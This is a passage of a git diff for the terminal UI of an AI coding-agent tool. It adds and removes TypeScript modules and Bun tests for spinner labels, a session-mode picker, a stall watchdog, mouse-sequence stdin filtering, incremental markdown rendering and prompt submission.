awaitingResponse: true, - currentToolName: "grep", - streamingType: "tool", - }), - ).toBe("Running tool…"); - }); -}); - -describe("classifyAgentSendFailure", () => { - const codex = (e: unknown) => e === "codex"; - const xai = (e: unknown) => e === "xai"; - - test("abort is ignored", () => { - expect(classifyAgentSendFailure(new Error("x"), true, codex, xai)).toBe("abort"); - expect(shouldSettleUiAfterSendFailure("abort")).toBe(false); - }); - - test("generic error settles ui", () => { - expect(classifyAgentSendFailure(new Error("boom"), false, codex, xai)).toBe("error"); - expect(shouldSettleUiAfterSendFailure("error")).toBe(true); - }); - - test("auth failures settle ui for idle footer", () => { - expect(shouldSettleUiAfterSendFailure("codex_auth")).toBe(true); - expect(shouldSettleUiAfterSendFailure("xai_auth")).toBe(true); - }); -}); \ No newline at end of file diff --git a/src/tui/session-chrome.ts b/src/tui/session-chrome.ts deleted file mode 100644 index ddcaf79fa..000000000 --- a/src/tui/session-chrome.ts +++ /dev/null @@ -1,44 +0,0 @@ -import type { AgentStatus } from "./use-stream.js"; - -export type SpinnerLabelInput = { - isProcessing: boolean; - status: AgentStatus; - awaitingResponse: boolean; - currentToolName: string | null; - streamingType: "text" | "thinking" | "tool" | null; -}; - -/** - * Single session-phase label for the footer progress row (one indicator, not - * competing spinners). Returns undefined when idle so the progress zone can - * collapse entirely. - */ -export function resolveSessionSpinnerLabel(input: SpinnerLabelInput): string | undefined { - if (!input.isProcessing) return undefined; - if (input.status === "blocked") return "Waiting for approval…"; - if (input.status === "stopping" || input.status === "stopped") return "Stopping…"; - if (input.currentToolName !== null || input.streamingType === "tool") return "Running tool…"; - if (input.streamingType === "thinking") return "Thinking…"; - if (input.streamingType === "text") return "Responding…"; - if (input.awaitingResponse) return "Working…"; - return "Working…"; -} - -export type SendFailureKind = "abort" | "codex_auth" | "xai_auth" | "error"; - -/** Classify agent.send() rejection so the TUI can settle UI state consistently. */ -export function classifyAgentSendFailure( - err: unknown, - aborted: boolean, - isCodexAuth: (e: unknown) => boolean, - isXaiAuth: (e: unknown) => boolean, -): SendFailureKind { - if (aborted) return "abort"; - if (isCodexAuth(err)) return "codex_auth"; - if (isXaiAuth(err)) return "xai_auth"; - return "error"; -} - -export function shouldSettleUiAfterSendFailure(kind: SendFailureKind): boolean { - return kind === "codex_auth" || kind === "xai_auth" || kind === "error"; -} \ No newline at end of file diff --git a/src/tui/session-mode-prompt.ts b/src/tui/session-mode-prompt.ts new file mode 100644 index 000000000..48a027374 --- /dev/null +++ b/src/tui/session-mode-prompt.ts @@ -0,0 +1,62 @@ +import { + loadSettings, + saveGlobalSettings, + type Settings, +} from "../config/settings.js"; +import type { SessionMode } from "../config/session-mode.js"; +import { COMMAND_NAME } from "../branding.js"; +import { runListModal } from "../tui-opentui/list-modal.js"; + +const OPTIONS: readonly { mode: SessionMode; title: string; description: string }[] = [ + { + mode: "single", + title: "Single agent", + description: + "one agent edits, runs commands, and answers directly; sub-agents off", + }, + { + mode: "orchestrator", + title: "Orchestrator", + description: + "top-level agent delegates via task, manages parallel workers, synthesizes reports", + }, +]; + +function isSessionMode(value: string): value is SessionMode { + return OPTIONS.some((option) => option.mode === value); +} + +export async function promptSessionModeIfUnset( + globalSettingsPath: string, +): Promise { + const existing = await loadSettings(globalSettingsPath); + if (existing?.sessionMode !== undefined) return existing.sessionMode; + + const picked = await runListModal({ + title: "Session mode", + kind: "settings", + heading: [ + "Choose how the primary session behaves.", + "Change it later in Settings or via sessionMode in global settings.", + ], + options: OPTIONS.map((option) => ({ + id: option.mode, + label: `${option.title} — ${option.description}`, + })), + }); + + if (picked === null || !isSessionMode(picked)) return undefined; + + const base: Settings = existing ?? { providers: {} }; + try { + await saveGlobalSettings(globalSettingsPath, { ...base, sessionMode: picked }); + } catch (err) { + // The choice is unusable if it cannot be persisted; fall back to the + // unset path so the next launch asks again. + process.stderr.write( + `${COMMAND_NAME}: could not save session mode: ${err instanceof Error ? err.message : String(err)}\n`, + ); + return undefined; + } + return picked; +} diff --git a/src/tui/session-mode-prompt.tsx b/src/tui/session-mode-prompt.tsx deleted file mode 100644 index 305ddeef9..000000000 --- a/src/tui/session-mode-prompt.tsx +++ /dev/null @@ -1,169 +0,0 @@ -import { Box, Text, useApp, useInput } from "ink"; -import { render } from "ink"; -import { useState, type ReactNode } from "react"; - -import { - loadSettings, - saveGlobalSettings, - type Settings, -} from "../config/settings.js"; -import type { SessionMode } from "../config/session-mode.js"; -import { enterAltScreen } from "../util/alt-screen.js"; -import { color } from "./theme.js"; -import { useTerminalSize } from "./hooks/use-terminal-size.js"; -import { PRODUCT_NAME } from "../branding.js"; - -const OPTIONS: { mode: SessionMode; title: string; description: string }[] = [ - { - mode: "single", - title: "Single agent", - description: - "You chat with one agent that edits, runs commands, and answers directly. Sub-agents are off — best for focused fixes and reviews.", - }, - { - mode: "orchestrator", - title: "Orchestrator", - description: - "The top-level agent delegates work via task, manages parallel workers, and synthesizes reports. Best for large backlogs and fleet-style execution.", - }, -]; - -type SessionModePanelProps = { - onSubmit: (mode: SessionMode) => Promise; -}; - -function SessionModePanel({ onSubmit }: SessionModePanelProps): ReactNode { - const { rows } = useTerminalSize(); - const { exit } = useApp(); - const [index, setIndex] = useState(0); - const [submitting, setSubmitting] = useState(false); - const [submitError, setSubmitError] = useState(null); - - useInput((_input, key) => { - if (submitting) return; - if (key.upArrow) { - setIndex((i) => (i > 0 ? i - 1 : OPTIONS.length - 1)); - setSubmitError(null); - return; - } - if (key.downArrow) { - setIndex((i) => (i < OPTIONS.length - 1 ? i + 1 : 0)); - setSubmitError(null); - return; - } - if (key.return) { - const choice = OPTIONS[index]; - if (choice === undefined) return; - setSubmitting(true); - setSubmitError(null); - onSubmit(choice.mode).then( - () => exit(), - (err: unknown) => { - setSubmitting(false); - setSubmitError(err instanceof Error ? err.message : String(err)); - }, - ); - } - }); - - return ( - - - - {PRODUCT_NAME} - - · - Session mode - - - - - - Choose how the primary session behaves. You can change this later in Settings or in - ~/.corbits/settings.json (sessionMode). - - - - {OPTIONS.map((opt, i) => { - const active = i === index; - return ( - - - {active ? "› " : " "} - {opt.title} - - - {" "} - {opt.description} - - - ); - })} - - {submitError !== null && ( - - {submitError} - - )} - - {submitting && ( - - Saving… - - )} - - - - - ↑↓ select · Enter save · Ctrl+C skip (orchestrator this run only, not saved) - - - - ); -} - -export async function promptSessionModeIfUnset( - globalSettingsPath: string, -): Promise { - const existing = await loadSettings(globalSettingsPath); - if (existing?.sessionMode !== undefined) return existing.sessionMode; - - const exitAltScreen = enterAltScreen(); - let chosen: SessionMode | undefined; - - try { - const { waitUntilExit } = render( - { - const base: Settings = existing ?? { providers: {} }; - await saveGlobalSettings(globalSettingsPath, { ...base, sessionMode: mode }); - chosen = mode; - }} - />, - { exitOnCtrlC: true }, - ); - await waitUntilExit(); - } finally { - exitAltScreen(); - } - - return chosen; -} \ No newline at end of file diff --git a/src/tui/stall-watchdog.ts b/src/tui/stall-watchdog.ts deleted file mode 100644 index 795feb590..000000000 --- a/src/tui/stall-watchdog.ts +++ /dev/null @@ -1,57 +0,0 @@ -import type { AgentStatus } from "./use-stream.js"; -import { - INFERENCE_ABORT_INTERNAL_RECOVERY, - type InferenceAbortReason, -} from "../inference-abort.js"; - -// How long the run can be continuously awaiting a response with no new content -// before the watchdog fires and aborts the in-flight request. -export const STALL_TIMEOUT_MS = 900_000; - -export type ShouldAbortForStallArgs = { - status: AgentStatus; - awaitingResponse: boolean; - lastActivityAt: number; - nowMs: number; - stallTimeoutMs: number; - isProcessing: boolean; - streamingType: "text" | "thinking" | "tool" | null; -}; - -// Pure decision helper: returns true when the run is genuinely stuck and should -// be aborted. Extracted so the timeout logic is unit-testable without a React harness. -export function shouldAbortForStall({ - status, - awaitingResponse, - lastActivityAt, - nowMs, - stallTimeoutMs, - isProcessing, - streamingType, -}: ShouldAbortForStallArgs): boolean { - if (status !== "running") return false; - const stalled = nowMs - lastActivityAt >= stallTimeoutMs; - if (!stalled) return false; - if (awaitingResponse) return true; - // Mid-stream hang: model stream stalled after first token. Long - // in-flight tool runs do not emit parent stream events; do not abort those. - if ( - isProcessing && - streamingType !== null && - streamingType !== "tool" - ) { - return true; - } - return false; -} - -export type ApplyStallRecoveryDeps = { - abortInFlight: (reason: InferenceAbortReason) => void; - setCommandMessage: (message: string) => void; -}; - -/** Abort the in-flight send; ChatDirector continues via infer() on internal-recovery. */ -export function applyStallRecovery(deps: ApplyStallRecoveryDeps): void { - deps.abortInFlight(INFERENCE_ABORT_INTERNAL_RECOVERY); - deps.setCommandMessage("Recovering after an internal stall..."); -} diff --git a/src/tui/stdin-filter.ts b/src/tui/stdin-filter.ts deleted file mode 100644 index 25e328105..000000000 --- a/src/tui/stdin-filter.ts +++ /dev/null @@ -1,205 +0,0 @@ -import { EventEmitter } from "node:events"; - -// SGR mouse tracking sequences arrive as `ESC[ void { - if (!process.stdin.isTTY) return () => {}; - const disable = (): void => { - process.stdout.write(MOUSE_DISABLE); - }; - process.stdout.write(MOUSE_ENABLE); - process.once("exit", disable); - return (): void => { - process.removeListener("exit", disable); - disable(); - }; -} - -export type FilteredStdin = { - stdin: NodeJS.ReadStream; - mouse: EventEmitter; -}; - -// Wrap a TTY stream so Ink reads mouse-free input. Scroll-wheel events are -// emitted on `mouse` as "scrollUp"/"scrollDown" before being stripped. -// -// This depends on Ink 7's input pipeline driving off `stdin.read()` (see -// ink/build/components/App.js). Bytes Ink consumes through its transient Kitty -// keyboard probe are `unshift`ed back into the stream and re-enter through -// read(), so they pass through this filter too. -export function createFilteredStdin(source: NodeJS.ReadStream): FilteredStdin { - const mouse = new EventEmitter(); - - const stripAndEmit = (text: string): string => { - let stripped = text.replace(MOUSE_SEQUENCE, ""); - MOUSE_SEQUENCE.lastIndex = 0; - for (const match of text.matchAll(MOUSE_SEQUENCE)) { - emitScroll(Number(match[1])); - } - // Catch orphaned fragments whose leading ESC was consumed by Ink's parser in - // a prior read. Run only on the full-sequence-free remainder so a complete - // sequence is never counted twice. - MOUSE_FRAGMENT.lastIndex = 0; - for (const match of stripped.matchAll(MOUSE_FRAGMENT)) { - emitScroll(Number(match[1])); - } - stripped = stripped.replace(MOUSE_FRAGMENT, ""); - return stripped; - }; - - function emitScroll(button: number): void { - if (button === SCROLL_UP_BUTTON) mouse.emit("scrollUp"); - else if (button === SCROLL_DOWN_BUTTON) mouse.emit("scrollDown"); - } - - // Carries an incomplete trailing mouse sequence from one read/data chunk to the next. - let pending = ""; - - const filterChunk = (chunk: unknown): string => { - const raw = typeof chunk === "string" - ? chunk - : Buffer.isBuffer(chunk) - ? chunk.toString("utf8") - : String(chunk ?? ""); - - let text = pending + raw; - pending = ""; - - // Buffer a trailing, not-yet-terminated mouse sequence so a wheel event split - // across chunks reassembles on the next one instead of leaking. Both the - // ESC-prefixed form and the bare `[<...` fragment (ESC already consumed by - // Ink) are held back — the guard keys off `[<` so neither slips through. - if (text.includes("[<")) { - const partial = TRAILING_PARTIAL.exec(text); - if (partial) { - pending = partial[0]; - text = text.slice(0, text.length - partial[0].length); - } - } - - return stripAndEmit(text); - }; - - const read = (size?: number): string | null => { - const chunk = size === undefined ? source.read() : source.read(size); - if (chunk === null || chunk === undefined) return null; - return filterChunk(chunk); - }; - - const dataListeners = new WeakMap<(...args: unknown[]) => void, (...args: unknown[]) => void>(); - let stdin: NodeJS.ReadStream; - - const wrapDataListener = (listener: (...args: unknown[]) => void): ((...args: unknown[]) => void) => { - const existing = dataListeners.get(listener); - if (existing !== undefined) return existing; - const wrapped = (chunk: unknown): void => { - const filtered = filterChunk(chunk); - if (filtered.length > 0) listener(filtered); - }; - dataListeners.set(listener, wrapped); - return wrapped; - }; - - stdin = new Proxy(source, { - get(target, prop) { - if (prop === "read") return read; - if (prop === "on" || prop === "addListener" || prop === "prependListener") { - return (event: string | symbol, listener: (...args: unknown[]) => void) => { - const method = Reflect.get(target, prop, target) as ( - event: string | symbol, - listener: (...args: unknown[]) => void, - ) => NodeJS.ReadStream; - method.call(target, event, event === "data" ? wrapDataListener(listener) : listener); - return stdin; - }; - } - if (prop === "once" || prop === "prependOnceListener") { - return (event: string | symbol, listener: (...args: unknown[]) => void) => { - if (event !== "data") { - const method = Reflect.get(target, prop, target) as ( - event: string | symbol, - listener: (...args: unknown[]) => void, - ) => NodeJS.ReadStream; - method.call(target, event, listener); - return stdin; - } - const addMethod = Reflect.get( - target, - prop === "once" ? "on" : "prependListener", - target, - ) as (event: string | symbol, listener: (...args: unknown[]) => void) => NodeJS.ReadStream; - const removeMethod = Reflect.get(target, "removeListener", target) as ( - event: string | symbol, - listener: (...args: unknown[]) => void, - ) => NodeJS.ReadStream; - const wrapped = (chunk: unknown): void => { - const filtered = filterChunk(chunk); - if (filtered.length === 0) return; - removeMethod.call(target, event, wrapped); - listener(filtered); - }; - addMethod.call(target, event, wrapped); - return stdin; - }; - } - if (prop === "off" || prop === "removeListener") { - return (event: string | symbol, listener: (...args: unknown[]) => void) => { - const method = Reflect.get(target, prop, target) as ( - event: string | symbol, - listener: (...args: unknown[]) => void, - ) => NodeJS.ReadStream; - method.call(target, event, event === "data" ? dataListeners.get(listener) ?? listener : listener); - if (event === "data") dataListeners.delete(listener); - return stdin; - }; - } - const value = Reflect.get(target, prop, target); - return typeof value === "function" ? value.bind(target) : value; - }, - }) as NodeJS.ReadStream; - - return { stdin, mouse }; -} diff --git a/src/tui/streaming-markdown.test.ts b/src/tui/streaming-markdown.test.ts deleted file mode 100644 index 67a17c53d..000000000 --- a/src/tui/streaming-markdown.test.ts +++ /dev/null @@ -1,169 +0,0 @@ -import { describe, test, expect } from "bun:test"; -import { createIncrementalMarkdown } from "./streaming-markdown.js"; -import { parseMarkdown } from "./markdown-parser.js"; -import type { StyledLine } from "./view/lines.js"; - -function render(content: string, width: number): StyledLine[] { - return parseMarkdown(content, width) as unknown as StyledLine[]; -} - -function streamedEqualsWhole(chunks: string[], width = 80): void { - const incremental = createIncrementalMarkdown(render); - let content = ""; - for (const chunk of chunks) { - content += chunk; - expect(incremental(content, width)).toEqual(render(content, width)); - } -} - -describe("createIncrementalMarkdown", () => { - test("matches a whole parse across paragraph-by-paragraph streaming", () => { - streamedEqualsWhole([ - "First paragraph grows", - " and grows.\n\nSecond ", - "paragraph.\n\n## Heading\n\nThird paragraph", - " continues.", - ]); - }); - - test("never splits inside a fenced code block", () => { - streamedEqualsWhole([ - "Intro.\n\n```ts\nconst a = 1;\n\nconst b", - " = 2;\n```\n\nAfter the fence.", - ]); - }); - - test("never splits inside a pipe table (whole-table column widths)", () => { - // Long multi-row table past MAX_TAIL_CHARS: a mid-table freeze would - // re-measure later rows as a new table (staggered │) or raw pipe prose. - const header = "| Option | Tradeoff | Notes |\n| --- | --- | --- |\n"; - const rows = Array.from({ length: 12 }, (_, i) => - `| ${i + 1}. Inline / native scrollback option name here | Leave alt-screen; use terminal scrollback for history and long outputs that wrap badly | Detail about option ${i + 1} and why it matters for the TUI |\n`, - ).join(""); - const full = header + rows + "\nAfter the table."; - const incremental = createIncrementalMarkdown(render); - let content = ""; - let last: StyledLine[] = []; - for (let i = 0; i < full.length; i++) { - content += full[i]!; - if (i % 40 === 0 || i === full.length - 1) { - last = incremental(content, 100); - } - } - expect(last).toEqual(render(full, 100)); - - const texts = last.map((line) => line.map((s) => s.text).join("")); - // No raw pipe-markdown row that abandoned the grid mid-table. - const rawPipe = texts.filter((t) => t.includes("|") && !t.includes("│") && !t.includes("─")); - expect(rawPipe).toEqual([]); - - const gridRows = texts.filter((t) => t.includes("│")); - const patterns = new Set( - gridRows.map((t) => { - const pos: number[] = []; - for (let i = 0; i < t.length; i++) if (t[i] === "│") pos.push(i); - return pos.join(","); - }), - ); - // One shared column-width set for the whole table. - expect(patterns.size).toBe(1); - }); - - test("keeps a streaming table in the re-rendered tail until it ends", () => { - const header = "| A | B |\n| --- | --- |\n"; - const row = "| long cell content that pads past the carve budget intentionally xx | yy |\n"; - // Build past MAX_TAIL without a blank line so the only safe freeze is after - // the table closes with non-table prose. - const pad = Array.from({ length: 20 }, (_, i) => `pad line ${i} xxxxxxxxxx`).join("\n"); - const table = header + row.repeat(8); - const calls: string[] = []; - const counting = (content: string, width: number): StyledLine[] => { - calls.push(content); - return render(content, width); - }; - const incremental = createIncrementalMarkdown(counting); - const growing = `${pad}\n${table}`; - incremental(growing, 80); - calls.length = 0; - incremental(`${growing}| last | row |\n`, 80); - // Table still open: the re-render must include table rows, not a tiny tail. - expect(calls.length).toBe(1); - expect(calls[0]!).toContain("| A | B |"); - expect(calls[0]!).toContain("| last | row |"); - }); - - test("handles consecutive blank lines and leading newlines", () => { - streamedEqualsWhole(["\nA\n\n", "\nB\n\n\n", "C"]); - }); - - test("resets when content is replaced rather than appended", () => { - const incremental = createIncrementalMarkdown(render); - incremental("old paragraph.\n\ntail", 80); - const replaced = "entirely new content.\n\nnew tail"; - expect(incremental(replaced, 80)).toEqual(render(replaced, 80)); - }); - - test("resets when the width changes", () => { - const incremental = createIncrementalMarkdown(render); - const content = "some words that wrap differently at other widths\n\ntail"; - incremental(content, 80); - expect(incremental(content, 20)).toEqual(render(content, 20)); - }); - - test("stabilizes long paragraphs at newline boundaries without blank lines", () => { - // Many single-newline lines (no blank paragraphs) past MAX_TAIL_CHARS. - const lines = Array.from({ length: 40 }, (_, i) => `line ${i} with enough padding words here`).join("\n"); - streamedEqualsWhole([ - lines.slice(0, 200), - lines.slice(200, 500), - lines.slice(500), - ]); - }); - - test("re-renders only the tail once a blank-line boundary is behind it", () => { - const calls: string[] = []; - const counting = (content: string, width: number): StyledLine[] => { - calls.push(content); - return render(content, width); - }; - const incremental = createIncrementalMarkdown(counting); - incremental("stable paragraph.\n\ntail one", 80); - calls.length = 0; - incremental("stable paragraph.\n\ntail one grows", 80); - expect(calls).toEqual(["tail one grows"]); - }); - - test("re-renders only the tail after a long single-newline carve", () => { - const pad = Array.from({ length: 30 }, (_, i) => `stable line ${i} xxxxxxxxxx`).join("\n"); - const calls: string[] = []; - const counting = (content: string, width: number): StyledLine[] => { - calls.push(content); - return render(content, width); - }; - const incremental = createIncrementalMarkdown(counting); - const base = `${pad}\ntail start`; - incremental(base, 80); - calls.length = 0; - incremental(`${base} grows`, 80); - // After MAX_TAIL carve, only the trailing fragment should re-render. - expect(calls.length).toBe(1); - expect(calls[0]!).toContain("grows"); - expect(calls[0]!.length).toBeLessThan(base.length); - }); - - test("a resize-free re-render of unchanged content is a no-op", () => { - const calls: string[] = []; - const counting = (content: string, width: number): StyledLine[] => { - calls.push(content); - return render(content, width); - }; - const incremental = createIncrementalMarkdown(counting); - const first = incremental("stable paragraph.\n\ntail", 80); - calls.length = 0; - - const second = incremental("stable paragraph.\n\ntail", 80); - - expect(calls).toEqual([]); - expect(second).toBe(first); - }); -}); diff --git a/src/tui/streaming-markdown.ts b/src/tui/streaming-markdown.ts deleted file mode 100644 index 307cdb6d3..000000000 --- a/src/tui/streaming-markdown.ts +++ /dev/null @@ -1,130 +0,0 @@ -import type { StyledLine } from "./view/lines.js"; -import { looksLikeTableRow, isTableSeparator } from "./markdown-parser.js"; - -type ScanState = { - width: number; - content: string; - // Character index where the unrendered tail begins; everything before it is - // covered by stableLines. - tailStart: number; - stableLines: StyledLine[]; - // Line-scanner cursor: start of the first line not yet fully scanned, and - // whether a fenced code block is open at that point. - scanPos: number; - fenceOpen: boolean; - // Exclusive end of the next stable region, or -1 when none is pending. - boundary: number; - // Extra characters to skip after boundary when advancing tailStart. - // Blank-line boundaries point at the blank newline itself (skip 1) so the - // blank is not re-parsed as a leading empty line of the tail; line-cut - // boundaries already sit past the completed newline (skip 0). - boundarySkip: 0 | 1; - // Last output returned, keyed by the (content, width) that produced it. A - // resize-free re-render with unchanged content is then a cache hit rather - // than re-running the tail render callback. - lastResult: StyledLine[]; -}; - -// Matches parseMarkdown's fence detection so blank-line split points stay in -// sync with fence parity: a boundary is only taken when no fenced block is open, -// which keeps a code block (and its incremental highlighting) whole in the tail. -const FENCE_RE = /^\s*(```+|~~~+)/; -// Table freeze uses looksLikeTableRow / isTableSeparator from markdown-parser -// (not open-table state): never carve on a table-looking line so the whole open -// table stays in the re-rendered tail and shares one column-width set. - -// When a single paragraph grows without blank-line boundaries, still carve stable -// prefix at completed newlines so streaming re-highlight stays bounded. -const MAX_TAIL_CHARS = 480; - -function preferBoundary(state: ScanState, at: number, skip: 0 | 1): void { - // Keep the boundary that consumes the most content into the stable prefix. - const nextConsumed = at + skip; - const prevConsumed = state.boundary < 0 ? -1 : state.boundary + state.boundarySkip; - if (nextConsumed > prevConsumed) { - state.boundary = at; - state.boundarySkip = skip; - } -} - -// Incremental renderer for the one block that is still streaming: the render -// callback (a full markdown parse + wrap) is expensive and the transcript -// drains up to ten times a second, so re-rendering the whole accumulated block -// each drain makes long replies progressively laggier. parseMarkdown is -// line-based and its only cross-line state is fence parity and open tables, so -// any blank line outside a fence is a safe split point: lines before it are -// rendered once and cached, and only the trailing paragraph is re-rendered per -// drain. Table-looking lines never take a MAX_TAIL carve (they must stay with -// later rows for whole-table column widths). When no blank line appears, -// completed newlines past MAX_TAIL_CHARS outside fences are also safe. A width -// change or non-append content mutation resets the cache. -export function createIncrementalMarkdown( - render: (content: string, width: number) => StyledLine[], -): (content: string, width: number) => StyledLine[] { - let state: ScanState | null = null; - - return (content, width) => { - if (state !== null && state.width === width && state.content === content) { - return state.lastResult; - } - - if ( - state === null - || state.width !== width - || !content.startsWith(state.content) - ) { - state = { - width, - content, - tailStart: 0, - stableLines: [], - scanPos: 0, - fenceOpen: false, - boundary: -1, - boundarySkip: 0, - lastResult: [], - }; - } - state.content = content; - - let lineStart = state.scanPos; - for (let i = content.indexOf("\n", lineStart); i !== -1; i = content.indexOf("\n", lineStart)) { - if (i === lineStart) { - // Blank line ends a pipe table and is a safe freeze point outside fences. - if (!state.fenceOpen) preferBoundary(state, lineStart, 1); - } else { - const line = content.slice(lineStart, i); - if (FENCE_RE.test(line)) { - state.fenceOpen = !state.fenceOpen; - } else if (!state.fenceOpen) { - // Do not carve on table rows/separators — keep the open table in the tail. - if ( - !looksLikeTableRow(line) - && !isTableSeparator(line) - && content.length - state.tailStart > MAX_TAIL_CHARS - ) { - // Same geometry as a blank-line cut: region ends before this line's - // trailing newline, then skip it so stable+tail never invents an - // extra empty row the whole-parse path does not have. - preferBoundary(state, i, 1); - } - } - } - lineStart = i + 1; - } - state.scanPos = lineStart; - - if (state.boundary >= state.tailStart) { - const region = content.slice(state.tailStart, state.boundary); - state.stableLines = state.stableLines.concat(render(region, width)); - state.tailStart = state.boundary + state.boundarySkip; - state.boundary = -1; - state.boundarySkip = 0; - } - - const tail = render(content.slice(state.tailStart), width); - const result = state.tailStart === 0 ? tail : state.stableLines.concat(tail); - state.lastResult = result; - return result; - }; -} diff --git a/src/tui/styled-segment-props.test.ts b/src/tui/styled-segment-props.test.ts deleted file mode 100644 index d1c28d778..000000000 --- a/src/tui/styled-segment-props.test.ts +++ /dev/null @@ -1,50 +0,0 @@ -import { afterEach, beforeEach, describe, expect, test } from "bun:test"; -import type { StyledSegment } from "./markdown-parser.js"; -import { inkPropsForSegment } from "./styled-segment-props.js"; -import { color, color256, palette, type SemanticRole } from "./theme.js"; - -const originalColorterm = process.env.COLORTERM; - -function segmentFor(props: Partial): StyledSegment { - return { text: "sample", ...props }; -} - -describe("inkPropsForSegment truecolor fallback", () => { - beforeEach(() => { - delete process.env.COLORTERM; - }); - - afterEach(() => { - if (originalColorterm === undefined) delete process.env.COLORTERM; - else process.env.COLORTERM = originalColorterm; - }); - - test("emits hex colours when the terminal supports truecolor", () => { - process.env.COLORTERM = "truecolor"; - const seg = segmentFor({ bold: true }); - expect(inkPropsForSegment(seg).color).toBe(palette.markdownStrong.hex); - }); - - test("falls back to the 256-color value on a non-truecolor terminal", () => { - const roles: { seg: StyledSegment; role: SemanticRole }[] = [ - { seg: segmentFor({ bold: true }), role: "markdownStrong" }, - { seg: segmentFor({ heading: 1 }), role: "markdownHeading" }, - { seg: segmentFor({ link: true }), role: "markdownLink" }, - { seg: segmentFor({ blockquote: true }), role: "markdownBlockquote" }, - { seg: segmentFor({ rule: true }), role: "muted" }, - { seg: segmentFor({ code: true }), role: "markdownCode" }, - { seg: segmentFor({ italic: true }), role: "markdownEmphasis" }, - ]; - - for (const { seg, role } of roles) { - const props = inkPropsForSegment(seg); - expect(props.color).toBe(`ansi256(${color256(role)})`); - expect(props.color).toBe(color(role)); - } - }); - - test("does not override an explicit segment color with a role fallback", () => { - const seg = segmentFor({ bold: true, color: "#123456" }); - expect(inkPropsForSegment(seg).color).toBe("#123456"); - }); -}); diff --git a/src/tui/styled-segment-props.ts b/src/tui/styled-segment-props.ts deleted file mode 100644 index 94370ae00..000000000 --- a/src/tui/styled-segment-props.ts +++ /dev/null @@ -1,39 +0,0 @@ -import type { StyledSegment } from "./markdown-parser.js"; -import { color } from "./theme.js"; - -export type InkSegmentProps = { - italic?: boolean; - underline?: boolean; - strikethrough?: boolean; - color?: string; - dimColor?: boolean; - backgroundColor?: string; -}; - -// Map parser flags to Ink text props and semantic theme roles. Fenced syntax -// highlighting sets seg.color explicitly; those values win over flag-derived colours. -export function inkPropsForSegment(seg: StyledSegment): InkSegmentProps { - const props: InkSegmentProps = {}; - if (seg.bold) props.color = color("markdownStrong"); - if (seg.italic) props.italic = true; - if (seg.strikethrough) props.strikethrough = true; - if (seg.heading !== undefined) props.color = color("markdownHeading"); - if (seg.link) { - props.underline = true; - props.color = color("markdownLink"); - } - if (seg.blockquote) { - props.italic = true; - props.color = color("markdownBlockquote"); - } - if (seg.rule) props.color = color("muted"); - if (seg.bullet && /^\s*(•|\d+\.)/.test(seg.text)) props.color = color("muted"); - if (seg.code && seg.color === undefined) props.color = color("markdownCode"); - if (seg.italic && !seg.blockquote && props.color === undefined) { - props.color = color("markdownEmphasis"); - } - if (seg.color !== undefined) props.color = seg.color; - if (seg.dim) props.dimColor = true; - if (seg.backgroundColor !== undefined) props.backgroundColor = seg.backgroundColor; - return props; -} \ No newline at end of file diff --git a/src/tui/submit-handler.test.ts b/src/tui/submit-handler.test.ts new file mode 100644 index 000000000..16905fc06 --- /dev/null +++ b/src/tui/submit-handler.test.ts @@ -0,0 +1,145 @@ +import { describe, test, expect } from "bun:test"; +import { + createSubmitHandler, + IMAGE_ONLY_PROMPT, + routeSubmission, + telemetryStartupNotice, + userInboundMessage, +} from "./runner.js"; +import type { PendingImageAttachment } from "./image-attachments.js"; +import { TELEMETRY_NOTICE } from "../telemetry/index.js"; + +type Dispatched = { name: string; args: string }; + +function harness() { + const dispatched: Dispatched[] = []; + const prompts: string[] = []; + let promptSubmissions = 0; + const submit = createSubmitHandler({ + dispatchCommand: (name, args) => dispatched.push({ name, args }), + sendPrompt: (text) => prompts.push(text), + onPromptSubmitted: () => { + promptSubmissions += 1; + }, + }); + return { submit, dispatched, prompts, telemetry: () => promptSubmissions }; +} + +describe("composer submit handler", () => { + test("dispatches a typed slash command instead of sending it to the model", () => { + const h = harness(); + h.submit("/clear"); + expect(h.dispatched).toEqual([{ name: "clear", args: "" }]); + expect(h.prompts).toEqual([]); + }); + + test("passes slash command arguments through", () => { + const h = harness(); + h.submit("/goal 12 ship the feature"); + expect(h.dispatched).toEqual([{ name: "goal", args: "12 ship the feature" }]); + expect(h.prompts).toEqual([]); + }); + + test("dispatches unknown slash names so the registry can report them", () => { + const h = harness(); + h.submit("/not-a-command"); + expect(h.dispatched).toEqual([{ name: "not-a-command", args: "" }]); + expect(h.prompts).toEqual([]); + }); + + test("sends ordinary prompts to the agent", () => { + const h = harness(); + h.submit(" refactor the parser "); + expect(h.prompts).toEqual(["refactor the parser"]); + expect(h.dispatched).toEqual([]); + }); + + test("ignores blank and bare-slash submissions", () => { + const h = harness(); + h.submit(" "); + h.submit("/"); + expect(h.prompts).toEqual([]); + expect(h.dispatched).toEqual([]); + }); + + test("consent-by-proceeding fires on prompts only, never on commands", () => { + const h = harness(); + h.submit("/help"); + expect(h.telemetry()).toBe(0); + h.submit("hello"); + expect(h.telemetry()).toBe(1); + }); +}); + +describe("routeSubmission", () => { + test("classifies leading slash as a command", () => { + expect(routeSubmission("/model gpt")).toEqual({ kind: "command", name: "model", args: "gpt" }); + }); + + test("classifies plain text as a prompt", () => { + expect(routeSubmission("do the thing")).toEqual({ kind: "prompt", text: "do the thing" }); + }); +}); + +describe("telemetryStartupNotice", () => { + const firstRun = { providers: {}, telemetry: { installationId: "install-1" } }; + + test("returns the disclosure on a first run", () => { + expect(telemetryStartupNotice(firstRun, {})).toBe(TELEMETRY_NOTICE); + }); + + test("stays silent once the notice has been shown", () => { + expect( + telemetryStartupNotice({ ...firstRun, telemetry: { ...firstRun.telemetry, noticeShown: true } }, {}), + ).toBeUndefined(); + }); +}); + +describe("image attachment submits", () => { + const image: PendingImageAttachment = { + id: "img-1", + name: "clipboard.png", + contentType: "image/png", + data: new Uint8Array([1, 2, 3]), + }; + + function attachmentHarness() { + const sends: Array<{ text: string; attachments?: readonly PendingImageAttachment[] }> = []; + const submit = createSubmitHandler({ + dispatchCommand: () => {}, + sendPrompt: (text, attachments) => sends.push({ text, ...(attachments ? { attachments } : {}) }), + }); + return { submit, sends }; + } + + test("sends an attachment-only submit that would otherwise be empty", () => { + const h = attachmentHarness(); + h.submit(" ", [image]); + expect(h.sends).toEqual([{ text: "", attachments: [image] }]); + }); + + test("carries attachments alongside prompt text", () => { + const h = attachmentHarness(); + h.submit("what is this", [image]); + expect(h.sends[0]?.text).toBe("what is this"); + expect(h.sends[0]?.attachments).toEqual([image]); + }); + + test("still drops a truly empty submit", () => { + const h = attachmentHarness(); + h.submit("", []); + expect(h.sends).toEqual([]); + }); + + 